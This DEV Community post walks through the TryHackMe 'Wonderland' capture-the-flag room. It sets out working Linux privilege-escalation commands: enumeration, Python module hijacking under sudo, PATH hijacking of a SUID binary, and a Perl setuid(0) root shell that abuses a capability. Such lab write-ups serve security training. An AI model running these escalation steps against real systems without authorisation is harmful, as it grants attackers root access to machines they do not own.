DEV Community

Cover image for THM-Wonderland Writeup
Muhammad Saad
Muhammad Saad

Posted on

THM-Wonderland Writeup

#cybersecurity #tryhackme #writeup #hacking

Wonderland is a Linux privilege escalation room where the goal is to move through multiple low-privileged users and eventually gain root access. The room focuses on techniques such as web enumeration, SSH access, Python module hijacking, PATH hijacking, SUID binaries, and Linux capabilities

Active Recon 

nmap -sSV -sC -Pn -T4 --min-rate 1000 -p- 10.48.186.218 -oN wonderland_nmap.txt
Open Ports: 22 (SSH) and 80 (HTTP)
Enter fullscreen mode Exit fullscreen mode

Initial Access 

Navigating to:
http://10.48.186.218/r/a/b/b/i/t/
The page source reveals credentials that can be used to obtain an initial SSH foothold.
Enter fullscreen mode Exit fullscreen mode 
After logging in, the user flag can be retrieved:
cat /home/root/user.txt
Enter fullscreen mode Exit fullscreen mode

Privilege Escalation

1. Alice → Rabbit — Python Module Hijacking

sudo -l cat > /home/alice/random.py <<'EOF' import os os.system("/bin/bash") EOF sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
Enter fullscreen mode Exit fullscreen mode

2. Rabbit → Hatter — SUID + PATH Hijacking

ls -la /home/rabbit/teaParty 
-rwsr-sr-x 1 root root ... teaParty
Enter fullscreen mode Exit fullscreen mode 
file teaParty 
ltrace -s 200 ./teaParty system("/bin/echo -n 'Probably by ' && date --date='next hour' -R")
Enter fullscreen mode Exit fullscreen mode 
mkdir -p /tmp/wonderland 
cat > /tmp/wonderland/date <<'EOF' #!/bin/bash /bin/bash EOF
Enter fullscreen mode Exit fullscreen mode 
chmod +x /tmp/wonderland/date 
export PATH=/tmp/wonderland:$PATH 
/home/rabbit/teaParty
Enter fullscreen mode Exit fullscreen mode

3. Hatter → Root — Linux Capability Abuse

cat /home/hatter/password.txt 
ssh hatter@10.48.186.218 
getcap -r / 2>/dev/null 
/usr/bin/perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";' 
cat /home/alice/root.txt
Enter fullscreen mode Exit fullscreen mode

Thank you for reading. I hope you enjoyed this story and found it helpful.😊

LinkedIn: https://www.linkedin.com/in/muhammad-saad-9818502b3/
Guthub: https://github.com/msaadraj
Medium: https://medium.com/@0x7ipher

Top comments (0)